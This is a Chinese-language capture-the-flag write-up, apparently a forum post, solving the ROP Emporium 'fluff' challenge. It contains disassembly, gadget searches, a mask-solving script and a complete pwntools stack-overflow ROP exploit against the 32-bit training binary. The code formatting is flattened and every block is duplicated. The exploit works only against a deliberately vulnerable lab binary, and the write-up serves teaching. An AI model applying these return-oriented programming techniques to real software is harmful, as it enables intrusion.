-
-
[原创]writeup-ROP Emporium fluff
-
发表于: 2022-3-26 12:37 15625
-
ROP Emporium的题曾经在2020年7月有过更新。比如,大多题目去掉了system函数,不能再获取shell,而是通过so中的print_file来获取flag;一些题目rop链可利用的指令也变了,更有挑战性,比如fluff 这道题。
当然有很多没变的,比如溢出点,32位程序偏移44字节,64位程序偏移40字节。
溢出点偏移44字节。
乍一看这一题和write4那道题差不多,想着把”flag.txt“写进.data,但搜一下mov gadget的话,并没有以可控内存地址为目标的mov指令。
先搜下pop吧:
然后考虑怎么写字符串的问题。
其实除了mov还有很多指令可以利用,比如作者在questionableGadgets提供的xchg指令。
0x08048555这条xchg指令交换了内存和寄存器的一个字节,可以代替mov指令。但要想成功利用,需要能够控制ecx和edx寄存器,让ecx存储.data段地址,edx存储字符串的字符。
刚刚搜索的pop gadget中,有一个pop ecx, 紧跟另一个指令BSWAP(Byte Swap),这个指令可以更改字节序,比如eax==0x11223344, 执行BSWAP eax
后,eax就变成0x44332211。那么我们可以让pop ecx按照大端序存储.data的地址。 其实这个指令也是作者在questionableGadgets提供的~
Intel文档截图:
最后要考虑怎么控制edx。在questionableGadgets的开头,mov eax,ebp;mov ebx,0xb0bababa; pext edx,ebx,eax
可以修改edx。
不过我用上面的rop, 以及 ropgadget, 都没有搜到这一段。。。尴尬了
PEXT ( Parallel Bits Extract)这条指令根据掩码(第二个源操作数),将源寄存器中对应的bit放到目标寄存器中的低位,比如:
Intel文档截图:
刚刚搜索的pop gadget里,0x080485bb有pop ebp
指令,然后需要写个脚本,求出正确的掩码(mov eax, ebp),满足以下条件:
用位运算实现下面这段求解掩码的脚本:
最终的ROP链:
64位版本
记录一下.data段的地址:
直接参考questionableGadgets吧,手动搜的话脑洞实在没有那么大~
首先注意到0x400639处的stos指令,它会逐字节地把al拷进rdi指向的内存,而且rdi自动递增。
通过搜索pop很容易找到pop rdi的指令,但是没有pop rax指令:
作者在questionableGadgets开头准备了xlat(Table Look-up Translation)指令来控制al:
其实就是把rbx看成数组取值:
但又要控制al,好像死循环了,,,先忽略al,看看有没有办法操作rbx。
刚刚的rop工具又没有把usefulGadget提供的40062a处的pop rdx指令找出来,郁闷,,,这里有非常重要的BEXTR(Bit Filed Extract)指令,它可以改变rbx的值:
该指令和pext指令一样也有两个源操作数,可以从第一个源操作数中提取bits,第二个源操作数指定偏移和长度,举个例子:
我们需要利用bextr这个gadget使rbx存储”flag.txt“各个字节的地址,进而用xlat gadget使al存储各个字节。
flag.txt各个字符,可以在elf文件中找,而不是由栈中的payload提供。
梳理一下目前的rop链:
再回到al的问题,其实执行xlat时,只有al的初始值是不确定的,于是用脚本调试确认一下,同时试着搜索f:
执行到xlatb时,AL初始值是0xb,而后续的al,其实就是”flag.txt“的各个字符,搜索前实时更新一下即可。
执行xlatb指令后,gdb里验证一下, rax==‘f' , 即0x66,所以搜索逻辑也没问题:
再次梳理一下rop链:
ROP Emporium 2020 fluff 32bit :: mishap — infosec is just finding mishaps
PEXT — Parallel Bits Extract (felixcloutier.com)
assembly - How does the BEXTR instruction in x86 work - Stack Overflow
ROP Emporium - Fluff (x64) - blog.r0kithax.com
BEXTR — Bit Field Extract (felixcloutier.com)
XLAT/XLATB — Table Look-up Translation (felixcloutier.com)
$
file
fluff32
fluff32: ELF
32
-
bit LSB executable, Intel
80386
, version
1
(SYSV), dynamically linked, interpreter
/
lib
/
ld
-
linux.so.
2
,
for
GNU
/
Linux
3.2
.
0
, BuildID[sha1]
=
6da69ceae0128f63bb7160ba66f9189a126fdd86
,
not
stripped
$ ldd fluff32
linux
-
gate.so.
1
(
0xf7f11000
)
libfluff32.so
=
> .
/
libfluff32.so (
0xf7f09000
)
libc.so.
6
=
>
/
lib
/
i386
-
linux
-
gnu
/
libc.so.
6
(
0xf7d16000
)
/
lib
/
ld
-
linux.so.
2
(
0xf7f12000
)
$ checksec libfluff32.so
[
*
]
'/home/starr/Documents/CProject/pwn/libfluff32.so'
Arch: i386
-
32
-
little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
$ readelf
-
S fluff32 | grep .data
[
16
] .rodata PROGBITS
080485d8
0005d8
000014
00
A
0
0
4
[
24
] .data PROGBITS
0804a018
001018
000008
00
WA
0
0
4
$
file
fluff32
fluff32: ELF
32
-
bit LSB executable, Intel
80386
, version
1
(SYSV), dynamically linked, interpreter
/
lib
/
ld
-
linux.so.
2
,
for
GNU
/
Linux
3.2
.
0
, BuildID[sha1]
=
6da69ceae0128f63bb7160ba66f9189a126fdd86
,
not
stripped
$ ldd fluff32
linux
-
gate.so.
1
(
0xf7f11000
)
libfluff32.so
=
> .
/
libfluff32.so (
0xf7f09000
)
libc.so.
6
=
>
/
lib
/
i386
-
linux
-
gnu
/
libc.so.
6
(
0xf7d16000
)
/
lib
/
ld
-
linux.so.
2
(
0xf7f12000
)
$ checksec libfluff32.so
[
*
]
'/home/starr/Documents/CProject/pwn/libfluff32.so'
Arch: i386
-
32
-
little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
$ readelf
-
S fluff32 | grep .data
[
16
] .rodata PROGBITS
080485d8
0005d8
000014
00
A
0
0
4
[
24
] .data PROGBITS
0804a018
001018
000008
00
WA
0
0
4
$ ulimit
-
c unlimited
$ sudo bash
-
c
'echo %e.core.%p > /proc/sys/kernel/core_pattern'
$ cyclic
200
> cyclic.txt
$ .
/
fluff32 < cyclic.txt
fluff by ROP Emporium
x86
You know changing these strings means I have to rewrite my solutions...
> Thank you!
Segmentation fault (core dumped)
$ gdb .
/
fluff32 fluff32.core.
9153
...
Core was generated by `.
/
fluff32'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x6161616c in ?? ()
pwndbg> cyclic
-
l
0x6161616c
44
$ ulimit
-
c unlimited
$ sudo bash
-
c
'echo %e.core.%p > /proc/sys/kernel/core_pattern'
$ cyclic
200
> cyclic.txt
$ .
/
fluff32 < cyclic.txt
fluff by ROP Emporium
x86
You know changing these strings means I have to rewrite my solutions...
> Thank you!
Segmentation fault (core dumped)
$ gdb .
/
fluff32 fluff32.core.
9153
...
Core was generated by `.
/
fluff32'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x6161616c in ?? ()
pwndbg> cyclic
-
l
0x6161616c
44
$ objdump
-
d
-
M intel fluff32
080483b0
<pwnme@plt>:
080483d0
<print_file@plt>:
08048506
<main>:
8048506
:
8d
4c
24
04
lea ecx,[esp
+
0x4
]
804850a
:
83
e4 f0
and
esp,
0xfffffff0
...
8048514
:
83
ec
04
sub esp,
0x4
8048517
: e8
94
fe ff ff call
80483b0
<pwnme@plt>
...
0804852a
<usefulFunction>:
804852a
:
55
push ebp
804852b
:
89
e5 mov ebp,esp
804852d
:
83
ec
08
sub esp,
0x8
8048530
:
83
ec
0c
sub esp,
0xc
8048533
:
68
e0
85
04
08
push
0x80485e0
8048538
: e8
93
fe ff ff call
80483d0
<print_file@plt>
...
08048543
<questionableGadgets>:
8048543
:
89
e8 mov eax,ebp
8048545
: bb ba ba ba b0 mov ebx,
0xb0bababa
804854a
: c4 e2
62
f5 d0 pext edx,ebx,eax
804854f
: b8 ef be ad de mov eax,
0xdeadbeef
8048554
: c3 ret
8048555
:
86
11
xchg BYTE PTR [ecx],dl
8048557
: c3 ret
8048558
:
59
pop ecx
8048559
:
0f
c9 bswap ecx
804855b
: c3 ret
$ objdump
-
d
-
M intel libfluff32.so
0000069d
<pwnme>:
...
6ed
:
6a
20
push
0x20
6ef
:
6a
00
push
0x0
6f1
:
8d
45
d8 lea eax,[ebp
-
0x28
]
6f4
:
50
push eax
6f5
: e8
86
fe ff ff call
580
<memset@plt>
...
724
:
68
00
02
00
00
push
0x200
729
:
8d
45
d8 lea eax,[ebp
-
0x28
]
72c
:
50
push eax
72d
:
6a
00
push
0x0
72f
: e8 cc fd ff ff call
500
<read@plt>
...
0000074f
<print_file>:
...
772
: ff
75
08
push DWORD PTR [ebp
+
0x8
]
775
: e8 f6 fd ff ff call
570
<fopen@plt>
...
$ objdump
-
d
-
M intel fluff32
080483b0
<pwnme@plt>:
080483d0
<print_file@plt>:
08048506
<main>:
8048506
:
8d
4c
24
04
lea ecx,[esp
+
0x4
]
804850a
:
83
e4 f0
and
esp,
0xfffffff0
...
8048514
:
83
ec
04
sub esp,
0x4
8048517
: e8
94
fe ff ff call
80483b0
<pwnme@plt>
...
0804852a
<usefulFunction>:
804852a
:
55
push ebp
804852b
:
89
e5 mov ebp,esp
804852d
:
83
ec
08
sub esp,
0x8
8048530
:
83
ec
0c
sub esp,
0xc
8048533
:
68
e0
85
04
08
push
0x80485e0
8048538
: e8
93
fe ff ff call
80483d0
<print_file@plt>
...
08048543
<questionableGadgets>:
8048543
:
89
e8 mov eax,ebp
8048545
: bb ba ba ba b0 mov ebx,
0xb0bababa
804854a
: c4 e2
62
f5 d0 pext edx,ebx,eax
804854f
: b8 ef be ad de mov eax,
0xdeadbeef
8048554
: c3 ret
8048555
:
86
11
xchg BYTE PTR [ecx],dl
8048557
: c3 ret
8048558
:
59
pop ecx
8048559
:
0f
c9 bswap ecx
804855b
: c3 ret
$ objdump
-
d
-
M intel libfluff32.so
0000069d
<pwnme>:
...
6ed
:
6a
20
push
0x20
6ef
:
6a
00
push
0x0
6f1
:
8d
45
d8 lea eax,[ebp
-
0x28
]
6f4
:
50
push eax
6f5
: e8
86
fe ff ff call
580
<memset@plt>
...
724
:
68
00
02
00
00
push
0x200
729
:
8d
45
d8 lea eax,[ebp
-
0x28
]
72c
:
50
push eax
72d
:
6a
00
push
0x0
72f
: e8 cc fd ff ff call
500
<read@plt>
...
0000074f
<print_file>:
...
772
: ff
75
08
push DWORD PTR [ebp
+
0x8
]
775
: e8 f6 fd ff ff call
570
<fopen@plt>
...
pwndbg> rop
-
-
grep
"mov"
...
0x080484e7
: mov al, byte ptr [
0xc9010804
] ; ret
0x0804846d
: mov al, byte ptr [
0xd0ff0804
] ; add esp,
0x10
; leave ; ret
0x080484ba
: mov al, byte ptr [
0xd2ff0804
] ; add esp,
0x10
; leave ; ret
0x080484e4
: mov byte ptr [
0x804a020
],
1
; leave ; ret
0x0804854f
: mov eax,
0xdeadbeef
; ret
0x08048423
: mov ebx, dword ptr [esp] ; ret
0x0804837d
: mov edi,
0x81000000
; ret
0x0804847a
: mov esp,
0x27
; add bl, dh ; ret
pwndbg> rop
-
-
grep
"mov"
...
0x080484e7
: mov al, byte ptr [
0xc9010804
] ; ret
0x0804846d
: mov al, byte ptr [
0xd0ff0804
] ; add esp,
0x10
; leave ; ret
0x080484ba
: mov al, byte ptr [
0xd2ff0804
] ; add esp,
0x10
; leave ; ret
0x080484e4
: mov byte ptr [
0x804a020
],
1
; leave ; ret
0x0804854f
: mov eax,
0xdeadbeef
; ret
0x08048423
: mov ebx, dword ptr [esp] ; ret
0x0804837d
: mov edi,
0x81000000
; ret
0x0804847a
: mov esp,
0x27
; add bl, dh ; ret
pwndbg> rop
-
-
grep
"pop"
...
0x08048525
: pop ebp ; lea esp, [ecx
-
4
] ; ret
0x080485bb
: pop ebp ; ret
0x080485b8
: pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x08048399
: pop ebx ; ret
0x08048558
: pop ecx ; bswap ecx ; ret
0x08048524
: pop ecx ; pop ebp ; lea esp, [ecx
-
4
] ; ret
0x080485ba
: pop edi ; pop ebp ; ret
0x080485b9
: pop esi ; pop edi ; pop ebp ; ret
0x08048527
: popal ; cld ; ret
pwndbg> rop
-
-
grep
"pop"
...
0x08048525
: pop ebp ; lea esp, [ecx
-
4
] ; ret
0x080485bb
: pop ebp ; ret
0x080485b8
: pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x08048399
: pop ebx ; ret
0x08048558
: pop ecx ; bswap ecx ; ret
0x08048524
: pop ecx ; pop ebp ; lea esp, [ecx
-
4
] ; ret
0x080485ba
: pop edi ; pop ebp ; ret
0x080485b9
: pop esi ; pop edi ; pop ebp ; ret
0x08048527
: popal ; cld ; ret
pwndbg> rop
-
-
grep
"xchg"
0x08048553
: faddp st(
3
) ; xchg byte ptr [ecx], dl ; ret
0x08048552
: lodsd eax, dword ptr [esi] ; faddp st(
3
) ; xchg byte ptr [ecx], dl ; ret
0x08048555
: xchg byte ptr [ecx], dl ; ret
pwndbg> rop
-
-
grep
"xchg"
0x08048553
: faddp st(
3
) ; xchg byte ptr [ecx], dl ; ret
0x08048552
: lodsd eax, dword ptr [esi] ; faddp st(
3
) ; xchg byte ptr [ecx], dl ; ret
0x08048555
: xchg byte ptr [ecx], dl ; ret
pext output(edx), source(ebx), mask(eax)
output
=
pext(source, mask)
ebx
=
0xFFFFFFFF
eax
=
b1111
0100
-
>
edx
=
0x1F
pext output(edx), source(ebx), mask(eax)
output
=
pext(source, mask)
ebx
=
0xFFFFFFFF
eax
=
b1111
0100
-
>
edx
=
0x1F
"flag"
=
=
pext(
0xb0bababa
, mask)
".txt"
=
=
pext(
0xb0bababa
, mask)
"flag"
=
=
pext(
0xb0bababa
, mask)
".txt"
=
=
pext(
0xb0bababa
, mask)
def
getMask(nValue, nOutput):
# nOutput = pext(nValue, nMask)
# eg.
# nValue = 0xFF
# nMask = 0xF4
# ->
# nOutput = 0x1F
nMask
=
0
;
nLastBitFoundInValue
=
1
;
# find the highest valid bit
nInvalidBits
=
0
;
for
i
in
range
(
7
):
# ascii
if
(nOutput & (
1
<< i)) !
=
0
:
nInvalidBits
=
i
for
i
in
range
(nInvalidBits
+
1
):
while
(nOutput &
1
) !
=
(nValue &
1
):
nLastBitFoundInValue
+
=
1
;
if
nLastBitFoundInValue
=
=
33
:
# 4 Bytes
return
False
;
nValue
=
nValue >>
1
# found
nOutput
=
nOutput >>
1
nValue
=
nValue >>
1
nMask |
=
1
<< (nLastBitFoundInValue
-
1
)
nLastBitFoundInValue
+
=
1
return
nMask
strEdx
=
"flag.txt"
nValue
=
0xb0bababa
for
c
in
strEdx:
nMask
=
getMask(nValue,
ord
(c))
# print(hex(nMask))
def
getMask(nValue, nOutput):
# nOutput = pext(nValue, nMask)
# eg.
# nValue = 0xFF
# nMask = 0xF4
# ->
# nOutput = 0x1F
nMask
=
0
;
nLastBitFoundInValue
=
1
;
# find the highest valid bit
nInvalidBits
=
0
;
for
i
in
range
(
7
):
# ascii
if
(nOutput & (
1
<< i)) !
=
0
:
nInvalidBits
=
i
for
i
in
range
(nInvalidBits
+
1
):
while
(nOutput &
1
) !
=
(nValue &
1
):
nLastBitFoundInValue
+
=
1
;
if
nLastBitFoundInValue
=
=
33
:
# 4 Bytes
return
False
;
nValue
=
nValue >>
1
# found
nOutput
=
nOutput >>
1
nValue
=
nValue >>
1
nMask |
=
1
<< (nLastBitFoundInValue
-
1
)
nLastBitFoundInValue
+
=
1
return
nMask
strEdx
=
"flag.txt"
nValue
=
0xb0bababa
for
c
in
strEdx:
nMask
=
getMask(nValue,
ord
(c))
# print(hex(nMask))
padding
len
44
for
i
in
range
(
len
(
"flag.txt"
))
pGadgetPopEcx_bswap
# 0x08048558 : pop ecx ; bswap ecx ; ret
pDataSection
+
i
# Big Endian pop to ecx
pGadgetPopEbp
# 0x080485bb : pop ebp ; ret
nMask
# getMask("flag.txt"[i]) pop to ebp
pGadgetPext
# 0x08048543 : mov eax,ebp;mov ebx,0xb0bababa; pext edx,ebx,eax
pGadgetXchg
# 0x08048555 : xchg byte ptr [ecx], dl ; ret 把字符写入.data
pPltPrintFile
# 0x080483d0
padding
# 伪造的返回地址
pDataSection
padding
len
44
for
i
in
range
(
len
(
"flag.txt"
))
pGadgetPopEcx_bswap
# 0x08048558 : pop ecx ; bswap ecx ; ret
pDataSection
+
i
# Big Endian pop to ecx
pGadgetPopEbp
# 0x080485bb : pop ebp ; ret
nMask
# getMask("flag.txt"[i]) pop to ebp
pGadgetPext
# 0x08048543 : mov eax,ebp;mov ebx,0xb0bababa; pext edx,ebx,eax
pGadgetXchg
# 0x08048555 : xchg byte ptr [ecx], dl ; ret 把字符写入.data
pPltPrintFile
# 0x080483d0
padding
# 伪造的返回地址
pDataSection
from
pwn
import
*
context.arch
=
"i386"
context.bits
=
32
context.os
=
"linux"
context.log_level
=
'debug'
def
getio(program):
io
=
process(program)
# io = gdb.debug([program], "b main")
return
io;
def
getMask(nValue, nOutput):
# nOutput = pext(nValue, nMask)
# eg.
# nValue = 0xFF
# nMask = 0xF4
# ->
# nOutput = 0x1F
nMask
=
0
;
nLastBitFoundInValue
=
1
;
# find the highest valid bit
nInvalidBits
=
0
;
for
i
in
range
(
7
):
# ascii
if
(nOutput & (
1
<< i)) !
=
0
:
nInvalidBits
=
i
for
i
in
range
(nInvalidBits
+
1
):
while
(nOutput &
1
) !
=
(nValue &
1
):
nLastBitFoundInValue
+
=
1
;
if
nLastBitFoundInValue
=
=
33
:
# 4 Bytes
return
False
;
nValue
=
nValue >>
1
# found
nOutput
=
nOutput >>
1
nValue
=
nValue >>
1
nMask |
=
1
<< (nLastBitFoundInValue
-
1
)
nLastBitFoundInValue
+
=
1
return
nMask
nBufOverflowIndex
=
44
pPltPrintFile
=
0x080483d0
pDataSection
=
0x0804a018
pGadgetPopEcx_bswap
=
0x08048558
# pop ecx ; bswap ecx ; ret
pGadgetPopEbp
=
0x080485bb
# pop ebp ; ret
pGadgetPext
=
0x08048543
# mov eax,ebp;mov ebx,0xb0bababa; pext edx,ebx,eax
pGadgetXchg
=
0x08048555
# xchg byte ptr [ecx], dl ; ret 把字符写入.data
# 1. padding
payload
=
bytes(
"A"
*
nBufOverflowIndex, encoding
=
"ascii"
);
# 2. Loop
strEdx
=
"flag.txt"
nValue
=
0xb0bababa
for
i
in
range
(
len
(strEdx)):
nMask
=
getMask(nValue,
ord
(strEdx[i]))
# print(hex(nMask))
# 2.1 write .data addr into ecx
payload
+
=
p32(pGadgetPopEcx_bswap)
# 0x08048558 : pop ecx ; bswap ecx ; ret
payload
+
=
p32(pDataSection
+
i, endianness
=
"big"
)
# Big Endian pop to ecx
# 2.2 write nMask into ebp
payload
+
=
p32(pGadgetPopEbp)
# 0x080485bb : pop ebp ; ret
payload
+
=
p32(nMask)
# getMask("flag.txt"[i]) pop to ebp
payload
+
=
p32(pGadgetPext)
# 0x08048543 : mov eax,ebp;mov ebx,0xb0bababa; pext edx,ebx,eax
# 2.3 write "flag.txt" into .data
payload
+
=
p32(pGadgetXchg)
# 0x08048555 : xchg byte ptr [ecx], dl ; ret 把字符写入.data
# 3. print_file("flag.txt")
payload
+
=
p32(pPltPrintFile)
# 0x080483d0
payload
+
=
bytes(
"B"
*
int
(context.bits
/
8
), encoding
=
"ascii"
);
# 伪造的返回地址
payload
+
=
p32(pDataSection)
io
=
getio(
"./fluff32"
)
io.recvuntil(
">"
)
# # gdb.attach(io)
# # pause()
io.sendline(payload)
print
(io.recv(timeout
=
10
))
io.interactive()
# [DEBUG] Received 0x2c bytes:
# b'Thank you!\n'
# b'ROPE{a_placeholder_32byte_flag!}\n'
# Thank you!
# ROPE{a_placeholder_32byte_flag!}
from
pwn
import
*
context.arch
=
"i386"
context.bits
=
32
context.os
=
"linux"
context.log_level
=
'debug'
def
getio(program):
io
=
process(program)
# io = gdb.debug([program], "b main")
return
io;
def
getMask(nValue, nOutput):
# nOutput = pext(nValue, nMask)
# eg.
# nValue = 0xFF
# nMask = 0xF4
# ->
# nOutput = 0x1F
nMask
=
0
;
nLastBitFoundInValue
=
1
;
# find the highest valid bit
nInvalidBits
=
0
;
for
i
in
range
(
7
):
# ascii
if
(nOutput & (
1
<< i)) !
=
0
:
nInvalidBits
=
i
for
i
in
range
(nInvalidBits
+
1
):
while
(nOutput &
1
) !
=
(nValue &
1
):
nLastBitFoundInValue
+
=
1
;
if
nLastBitFoundInValue
=
=
33
:
# 4 Bytes
return
False
;
nValue
=
nValue >>
1
# found
nOutput
=
nOutput >>
1
nValue
=
nValue >>
1
nMask |
=
1
<< (nLastBitFoundInValue
-
1
)
nLastBitFoundInValue
+
=
1
return
nMask
nBufOverflowIndex
=
44
pPltPrintFile
=
0x080483d0
pDataSection
=
0x0804a018
pGadgetPopEcx_bswap
=
0x08048558
# pop ecx ; bswap ecx ; ret
pGadgetPopEbp
=
0x080485bb
# pop ebp ; ret
pGadgetPext
=
0x08048543
# mov eax,ebp;mov ebx,0xb0bababa; pext edx,ebx,eax
pGadgetXchg
=
0x08048555
# xchg byte ptr [ecx], dl ; ret 把字符写入.data
# 1. padding
payload
=
bytes(
"A"
*
nBufOverflowIndex, encoding
=
"ascii"
);
# 2. Loop
strEdx
=
"flag.txt"
nValue
=
0xb0bababa
for
i
in
range
(
len
(strEdx)):
nMask
=
getMask(nValue,
ord
(strEdx[i]))
# print(hex(nMask))
# 2.1 write .data addr into ecx
payload
+
=
p32(pGadgetPopEcx_bswap)
# 0x08048558 : pop ecx ; bswap ecx ; ret
payload
+
=
p32(pDataSection
+
i, endianness
=
"big"
)
# Big Endian pop to ecx
# 2.2 write nMask into ebp
payload
+
=
p32(pGadgetPopEbp)
# 0x080485bb : pop ebp ; ret
payload
+
=
p32(nMask)
# getMask("flag.txt"[i]) pop to ebp
payload
+
=
p32(pGadgetPext)
# 0x08048543 : mov eax,ebp;mov ebx,0xb0bababa; pext edx,ebx,eax
# 2.3 write "flag.txt" into .data
payload
+
=
p32(pGadgetXchg)
# 0x08048555 : xchg byte ptr [ecx], dl ; ret 把字符写入.data
# 3. print_file("flag.txt")
payload
+
=
p32(pPltPrintFile)
# 0x080483d0
payload
+
=
bytes(
"B"
*
int
(context.bits
/
8
), encoding
=
"ascii"
);
# 伪造的返回地址
payload
+
=
p32(pDataSection)
io
=
getio(
"./fluff32"
)
io.recvuntil(
">"
)
# # gdb.attach(io)
# # pause()
io.sendline(payload)
print
(io.recv(timeout
=
10
))
io.interactive()
# [DEBUG] Received 0x2c bytes:
# b'Thank you!\n'
# b'ROPE{a_placeholder_32byte_flag!}\n'
# Thank you!
# ROPE{a_placeholder_32byte_flag!}
$ readelf
-
S fluff | grep .data
[
15
] .rodata PROGBITS
00000000004006c0
000006c0
[
23
] .data PROGBITS
0000000000601028
00001028
$ readelf
-
S fluff | grep .data
[
15
] .rodata PROGBITS
00000000004006c0
000006c0
[
23
] .data PROGBITS
0000000000601028
00001028
$ objdump
-
d
-
M intel libfluff.so
00000000000008aa
<pwnme>:
...
8eb
:
48
8d
45
e0 lea rax,[rbp
-
0x20
]
8ef
: ba
20
00
00
00
mov edx,
0x20
8f4
: be
00
00
00
00
mov esi,
0x0
8f9
:
48
89
c7 mov rdi,rax
8fc
: e8
5f
fe ff ff call
760
<memset@plt>
...
91e
:
48
8d
45
e0 lea rax,[rbp
-
0x20
]
922
: ba
00
02
00
00
mov edx,
0x200
927
:
48
89
c6 mov rsi,rax
92a
: bf
00
00
00
00
mov edi,
0x0
92f
: e8
3c
fe ff ff call
770
<read@plt> read(stdin, rbp
-
0x20
,
0x200
)
...
0000000000000943
<print_file>:
943
:
55
push rbp
944
:
48
89
e5 mov rbp,rsp
947
:
48
83
ec
40
sub rsp,
0x40
94b
:
48
89
7d
c8 mov QWORD PTR [rbp
-
0x38
],rdi
94f
:
48
c7
45
f8
00
00
00
mov QWORD PTR [rbp
-
0x8
],
0x0
956
:
00
957
:
48
8b
45
c8 mov rax,QWORD PTR [rbp
-
0x38
]
95b
:
48
8d
35
f4
00
00
00
lea rsi,[rip
+
0xf4
]
# a56 <_fini+0x86>
962
:
48
89
c7 mov rdi,rax
965
: e8
36
fe ff ff call
7a0
<fopen@plt>
...
$ objdump
-
d
-
M intel fluff
0000000000400500
<pwnme@plt>:
...
0000000000400510
<print_file@plt>:
...
0000000000400607
<main>:
...
40060b
: e8 f0 fe ff ff call
400500
<pwnme@plt>
0000000000400617
<usefulFunction>:
...
40061b
: bf c4
06
40
00
mov edi,
0x4006c4
400620
: e8 eb fe ff ff call
400510
<print_file@plt>
0000000000400628
<questionableGadgets>:
400628
: d7 xlat BYTE PTR ds:[rbx]
400629
: c3 ret
40062a
:
5a
pop rdx
40062b
:
59
pop rcx
40062c
:
48
81
c1 f2
3e
00
00
add rcx,
0x3ef2
400633
: c4 e2 e8 f7 d9 bextr rbx,rcx,rdx
400638
: c3 ret
400639
: aa stos BYTE PTR es:[rdi],al
40063a
: c3 ret
40063b
:
0f
1f
44
00
00
nop DWORD PTR [rax
+
rax
*
1
+
0x0
]
$ objdump
-
d
-
M intel libfluff.so
00000000000008aa
<pwnme>:
...
8eb
:
48
8d
45
e0 lea rax,[rbp
-
0x20
]
8ef
: ba
20
00
00
00
mov edx,
0x20
8f4
: be
00
00
00
00
mov esi,
0x0
8f9
:
48
89
c7 mov rdi,rax
8fc
: e8
5f
fe ff ff call
760
<memset@plt>
...
91e
:
48
8d
45
e0 lea rax,[rbp
-
0x20
]
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
赞赏
- [原创]由浅入深理解Kerberos协议 1689
- [原创]writeup-ROP Emporium fluff 15626
- [原创]CSAPP-bomblab-writeup 9698
- [分享]PE手动重定位 7352